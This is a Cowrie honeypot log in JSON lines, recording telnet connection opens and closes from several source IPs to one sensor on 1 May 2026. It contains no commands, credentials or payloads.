{"eventid":"cowrie.session.closed","duration":31.03390908241272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.077181Z","src_ip":"147.135.136.77","session":"23934f421e2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60386,"dst_ip":"159.203.135.109","dst_port":23,"session":"86e76843985f","protocol":"telnet","message":"New connection: 147.135.136.77:60386 (159.203.135.109:23) [session: 86e76843985f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.115449Z"}
{"eventid":"cowrie.session.closed","duration":30.97046947479248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.136091Z","src_ip":"81.30.157.18","session":"a34bf3a9a1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55100,"dst_ip":"159.203.135.109","dst_port":23,"session":"73a98250cd0e","protocol":"telnet","message":"New connection: 168.119.91.149:55100 (159.203.135.109:23) [session: 73a98250cd0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.208076Z"}
{"eventid":"cowrie.session.closed","duration":30.986142873764038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.219771Z","src_ip":"81.30.157.18","session":"469f095e7cc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107402563095093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.287852Z","src_ip":"81.30.157.18","session":"3c3773460133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2235324382782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.305477Z","src_ip":"81.30.157.18","session":"8242900f9712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34462,"dst_ip":"159.203.135.109","dst_port":23,"session":"42469695a353","protocol":"telnet","message":"New connection: 81.30.157.18:34462 (159.203.135.109:23) [session: 42469695a353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.336679Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55116,"dst_ip":"159.203.135.109","dst_port":23,"session":"2250f24fa030","protocol":"telnet","message":"New connection: 168.119.91.149:55116 (159.203.135.109:23) [session: 2250f24fa030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.398285Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55118,"dst_ip":"159.203.135.109","dst_port":23,"session":"50b362c2cf92","protocol":"telnet","message":"New connection: 168.119.91.149:55118 (159.203.135.109:23) [session: 50b362c2cf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.402413Z"}
{"eventid":"cowrie.session.closed","duration":30.2726047039032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.502364Z","src_ip":"168.119.91.149","session":"3d3f26fdbb56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55172,"dst_ip":"159.203.135.109","dst_port":23,"session":"d89cea8d7dd1","protocol":"telnet","message":"New connection: 168.119.91.149:55172 (159.203.135.109:23) [session: d89cea8d7dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:51.830925Z"}
{"eventid":"cowrie.session.closed","duration":30.108697652816772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.054164Z","src_ip":"81.30.157.18","session":"ffe32a65cfb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660364389419556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.061131Z","src_ip":"147.135.136.77","session":"fda434df6e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44214,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a78822a4bd","protocol":"telnet","message":"New connection: 37.187.24.227:44214 (159.203.135.109:23) [session: 87a78822a4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.066049Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60450,"dst_ip":"159.203.135.109","dst_port":23,"session":"4168066d3811","protocol":"telnet","message":"New connection: 147.135.136.77:60450 (159.203.135.109:23) [session: 4168066d3811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.075424Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34490,"dst_ip":"159.203.135.109","dst_port":23,"session":"898c0f72c45a","protocol":"telnet","message":"New connection: 81.30.157.18:34490 (159.203.135.109:23) [session: 898c0f72c45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.127980Z"}
{"eventid":"cowrie.session.closed","duration":30.962550401687622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.141761Z","src_ip":"147.135.136.77","session":"491c016d5cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75780963897705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.146941Z","src_ip":"46.101.32.143","session":"9c7123cf74f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55210,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aa52aadb11b","protocol":"telnet","message":"New connection: 168.119.91.149:55210 (159.203.135.109:23) [session: 8aa52aadb11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.174148Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55220,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f7c29cc7f38","protocol":"telnet","message":"New connection: 168.119.91.149:55220 (159.203.135.109:23) [session: 4f7c29cc7f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.213982Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60430,"dst_ip":"159.203.135.109","dst_port":23,"session":"5240e68f074e","protocol":"telnet","message":"New connection: 147.135.136.77:60430 (159.203.135.109:23) [session: 5240e68f074e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.263217Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34532,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5b875c8da9","protocol":"telnet","message":"New connection: 81.30.157.18:34532 (159.203.135.109:23) [session: cb5b875c8da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.419841Z"}
{"eventid":"cowrie.session.closed","duration":30.199206829071045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.469012Z","src_ip":"168.119.91.149","session":"a7903d2f619b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82810068130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.496762Z","src_ip":"168.119.91.149","session":"f65062020422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55262,"dst_ip":"159.203.135.109","dst_port":23,"session":"659c39d3cc58","protocol":"telnet","message":"New connection: 168.119.91.149:55262 (159.203.135.109:23) [session: 659c39d3cc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.676280Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34548,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8a5c43bf799","protocol":"telnet","message":"New connection: 81.30.157.18:34548 (159.203.135.109:23) [session: d8a5c43bf799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.692747Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34552,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6b3e42e4e6c","protocol":"telnet","message":"New connection: 81.30.157.18:34552 (159.203.135.109:23) [session: a6b3e42e4e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.812884Z"}
{"eventid":"cowrie.session.closed","duration":31.57798957824707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:52.879222Z","src_ip":"147.135.136.77","session":"20e1a21d442c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.966718196868896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.018068Z","src_ip":"147.135.136.77","session":"e3d3c6c39762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43960666656494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.042598Z","src_ip":"147.135.136.77","session":"c8826e05b5bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87947988510132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.072107Z","src_ip":"37.187.24.227","session":"b5774b0dbce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045798540115356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.077191Z","src_ip":"147.135.136.77","session":"437e0182d866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60458,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaacb724b2d8","protocol":"telnet","message":"New connection: 147.135.136.77:60458 (159.203.135.109:23) [session: aaacb724b2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.202868Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60456,"dst_ip":"159.203.135.109","dst_port":23,"session":"b38abbd56cda","protocol":"telnet","message":"New connection: 147.135.136.77:60456 (159.203.135.109:23) [session: b38abbd56cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.222174Z"}
{"eventid":"cowrie.session.closed","duration":31.081273555755615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.241868Z","src_ip":"147.135.136.77","session":"c6fc187664f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570392608642578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.247156Z","src_ip":"37.187.24.227","session":"f77cec81073e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112486124038696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.268690Z","src_ip":"147.135.136.77","session":"910e663e517c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47184,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c5f05fd4feb","protocol":"telnet","message":"New connection: 37.187.24.227:47184 (159.203.135.109:23) [session: 6c5f05fd4feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.338537Z"}
{"eventid":"cowrie.session.closed","duration":31.211783170700073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.465087Z","src_ip":"147.135.136.77","session":"4a64adbf26b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55272,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a999e549e74","protocol":"telnet","message":"New connection: 168.119.91.149:55272 (159.203.135.109:23) [session: 9a999e549e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.589176Z"}
{"eventid":"cowrie.session.closed","duration":31.15045690536499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.667259Z","src_ip":"147.135.136.77","session":"603b206b7d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60476,"dst_ip":"159.203.135.109","dst_port":23,"session":"66bc7d51819f","protocol":"telnet","message":"New connection: 147.135.136.77:60476 (159.203.135.109:23) [session: 66bc7d51819f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.688460Z"}
{"eventid":"cowrie.session.closed","duration":31.718249320983887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.828614Z","src_ip":"51.79.21.139","session":"69d7950388c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55276,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30350f4379b","protocol":"telnet","message":"New connection: 168.119.91.149:55276 (159.203.135.109:23) [session: b30350f4379b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.876330Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55284,"dst_ip":"159.203.135.109","dst_port":23,"session":"70bcc8b7b428","protocol":"telnet","message":"New connection: 168.119.91.149:55284 (159.203.135.109:23) [session: 70bcc8b7b428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:53.910654Z"}
{"eventid":"cowrie.session.closed","duration":30.19766879081726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.050240Z","src_ip":"81.30.157.18","session":"f3cafc69a447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.272397994995117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.060473Z","src_ip":"147.135.136.77","session":"bb1af5cd456f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784740447998047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.113731Z","src_ip":"147.135.136.77","session":"435540bc6c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78259825706482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.120018Z","src_ip":"85.208.100.77","session":"1e6dd46bc918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49194,"dst_ip":"159.203.135.109","dst_port":23,"session":"d569d8df209b","protocol":"telnet","message":"New connection: 37.187.24.227:49194 (159.203.135.109:23) [session: d569d8df209b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.137319Z"}
{"eventid":"cowrie.session.closed","duration":31.037581205368042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.143810Z","src_ip":"147.135.136.77","session":"14ab81ff322b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49344,"dst_ip":"159.203.135.109","dst_port":23,"session":"796b458513e3","protocol":"telnet","message":"New connection: 37.187.24.227:49344 (159.203.135.109:23) [session: 796b458513e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.183791Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60482,"dst_ip":"159.203.135.109","dst_port":23,"session":"7743224257ed","protocol":"telnet","message":"New connection: 147.135.136.77:60482 (159.203.135.109:23) [session: 7743224257ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.242858Z"}
{"eventid":"cowrie.session.closed","duration":30.762986183166504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.469517Z","src_ip":"168.119.91.149","session":"e0cf04d9f969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677153825759888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.481157Z","src_ip":"168.119.91.149","session":"97094f727d2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839659452438354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.571786Z","src_ip":"168.119.91.149","session":"a26f2b3a3849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.617881536483765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.686689Z","src_ip":"168.119.91.149","session":"4901c32080f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55292,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca60ade0eb65","protocol":"telnet","message":"New connection: 168.119.91.149:55292 (159.203.135.109:23) [session: ca60ade0eb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:54.947912Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60488,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f5f7410cbc6","protocol":"telnet","message":"New connection: 147.135.136.77:60488 (159.203.135.109:23) [session: 8f5f7410cbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.039072Z"}
{"eventid":"cowrie.session.closed","duration":30.56730818748474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.118482Z","src_ip":"149.102.133.101","session":"0319de0c240e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60492,"dst_ip":"159.203.135.109","dst_port":23,"session":"65f6ac2db0b4","protocol":"telnet","message":"New connection: 147.135.136.77:60492 (159.203.135.109:23) [session: 65f6ac2db0b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.201597Z"}
{"eventid":"cowrie.session.closed","duration":30.958174467086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.214741Z","src_ip":"147.135.136.77","session":"b538ce2d4513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490354776382446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.268210Z","src_ip":"81.30.157.18","session":"b6b2a8cd1cbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":43674,"dst_ip":"159.203.135.109","dst_port":23,"session":"b129cc76b00b","protocol":"telnet","message":"New connection: 46.101.32.143:43674 (159.203.135.109:23) [session: b129cc76b00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.275959Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58552,"dst_ip":"159.203.135.109","dst_port":23,"session":"03c50dc29c6b","protocol":"telnet","message":"New connection: 81.30.157.18:58552 (159.203.135.109:23) [session: 03c50dc29c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.329409Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58558,"dst_ip":"159.203.135.109","dst_port":23,"session":"56bb317c9084","protocol":"telnet","message":"New connection: 81.30.157.18:58558 (159.203.135.109:23) [session: 56bb317c9084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.405413Z"}
{"eventid":"cowrie.session.closed","duration":30.743144512176514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.508922Z","src_ip":"81.30.157.18","session":"171fce46e55d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"5abab2929d10","protocol":"telnet","message":"New connection: 168.119.91.149:55304 (159.203.135.109:23) [session: 5abab2929d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.775432Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":32792,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bbb51bcc210","protocol":"telnet","message":"New connection: 149.102.133.101:32792 (159.203.135.109:23) [session: 3bbb51bcc210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:55.792098Z"}
{"eventid":"cowrie.session.closed","duration":30.888813257217407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.035845Z","src_ip":"51.79.21.139","session":"d220931c9bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555070400238037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.044230Z","src_ip":"147.135.136.77","session":"7634fc4bc859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.138277769088745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.050896Z","src_ip":"81.30.157.18","session":"91a5244bf75c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880075216293335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.057380Z","src_ip":"81.30.157.18","session":"735523dcac9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":33596,"dst_ip":"159.203.135.109","dst_port":23,"session":"1571cf0c2701","protocol":"telnet","message":"New connection: 51.79.21.139:33596 (159.203.135.109:23) [session: 1571cf0c2701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.061882Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":60494,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ac85106e77","protocol":"telnet","message":"New connection: 147.135.136.77:60494 (159.203.135.109:23) [session: 32ac85106e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.235035Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a80150e19db8","protocol":"telnet","message":"New connection: 168.119.91.149:55324 (159.203.135.109:23) [session: a80150e19db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.244929Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58560,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d2548730df7","protocol":"telnet","message":"New connection: 81.30.157.18:58560 (159.203.135.109:23) [session: 1d2548730df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.258842Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55444,"dst_ip":"159.203.135.109","dst_port":23,"session":"646bc47a0233","protocol":"telnet","message":"New connection: 37.187.24.227:55444 (159.203.135.109:23) [session: 646bc47a0233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.423737Z"}
{"eventid":"cowrie.session.closed","duration":30.843051433563232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.482965Z","src_ip":"168.119.91.149","session":"736ec574f7c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434743642807007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.560600Z","src_ip":"168.119.91.149","session":"df38946af8cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55330,"dst_ip":"159.203.135.109","dst_port":23,"session":"25456c8372f9","protocol":"telnet","message":"New connection: 168.119.91.149:55330 (159.203.135.109:23) [session: 25456c8372f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.573558Z"}
